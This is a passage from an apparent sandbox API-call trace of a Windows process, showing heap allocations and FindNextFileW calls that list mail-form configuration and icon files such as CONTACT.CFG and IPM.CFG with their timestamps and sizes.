(HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab56e8 [0078.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b5d30 [0078.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40c0) returned 0xacb390 [0078.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac7308) returned 1 [0078.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.386] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACT.CFG", cAlternateFileName="")) returned 1 [0078.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5708 [0078.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b5e38 [0078.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.387] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACTL.ICO", cAlternateFileName="")) returned 1 [0078.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5728 [0078.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b5f40 [0078.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.388] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACTS.ICO", cAlternateFileName="")) returned 1 [0078.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5748 [0078.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b6048 [0078.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.388] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISTLIST.CFG", cAlternateFileName="")) returned 1 [0078.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5768 [0078.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b6150 [0078.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.389] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISTLSTL.ICO", cAlternateFileName="")) returned 1 [0078.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5788 [0078.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b6258 [0078.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.390] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISTLSTS.ICO", cAlternateFileName="")) returned 1 [0078.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab57a8 [0078.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b6360 [0078.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.390] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOC.CFG", cAlternateFileName="")) returned 1 [0078.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab57c8 [0078.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9448 [0078.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.391] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOCL.ICO", cAlternateFileName="")) returned 1 [0078.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab57e8 [0078.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab94d0 [0078.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.392] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOCS.ICO", cAlternateFileName="")) returned 1 [0078.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5808 [0078.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9558 [0078.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.392] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x473e9c00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x473e9c00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x346, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXITEM.CFG", cAlternateFileName="")) returned 1 [0078.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5828 [0078.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b6468 [0078.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.393] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXITEML.ICO", cAlternateFileName="")) returned 1 [0078.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5848 [0078.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b6570 [0078.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.394] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXITEMS.ICO", cAlternateFileName="")) returned 1 [0078.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5868 [0078.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b6678 [0078.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.395] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb999900, ftCreationTime.dwHighDateTime=0x1c451be, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb999900, ftLastWriteTime.dwHighDateTime=0x1c451be, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOMAIL.CFG", cAlternateFileName="")) returned 1 [0078.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5888 [0078.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b6780 [0078.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.395] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d0fd900, ftCreationTime.dwHighDateTime=0x1c6bc1a, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d0fd900, ftLastWriteTime.dwHighDateTime=0x1c6bc1a, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOML.ICO", cAlternateFileName="")) returned 1 [0078.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab58a8 [0078.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b6888 [0078.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.396] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1839500, ftCreationTime.dwHighDateTime=0x1c6bc1a, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1839500, ftLastWriteTime.dwHighDateTime=0x1c6bc1a, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOMS.ICO", cAlternateFileName="")) returned 1 [0078.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab58c8 [0078.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b6990 [0078.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.397] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486fc900, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x486fc900, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x31b, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPM.CFG", cAlternateFileName="")) returned 1 [0078.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabf2d0 [0078.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab95e0 [0078.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4100) returned 0xac32b8 [0078.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb390) returned 1 [0078.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.397] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPML.ICO", cAlternateFileName="")) returned 1 [0078.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabf2f0 [0078.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9668 [0078.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.398] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPMS.ICO", cAlternateFileName="")) returned 1 [0078.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabf310 [0078.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab96f0 [0078.399] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.399] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97071d00, ftCreationTime.dwHighDateTime=0x1c67f43, ftLastAccessTime.dwLowDateTime=0xf2dd30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97071d00, ftLastWriteTime.dwHighDateTime=0x1c67f43, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMSL.ICO", cAlternateFileName="")) returned 1 [0078.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.399] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.399] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabf330 [0078.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9778 [0078.399] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.399] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7feec00, ftCreationTime.dwHighDateTime=0x1c6859b, ftLastAccessTime.dwLowDateTime=0xf2dd30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7feec00, ftLastWriteTime.dwHighDateTime=0x1c6859b, nFileSizeHigh=0x0, nFileSizeLow=0x8be, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMSS.ICO", cAlternateFileName="")) returned 1 [0078.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 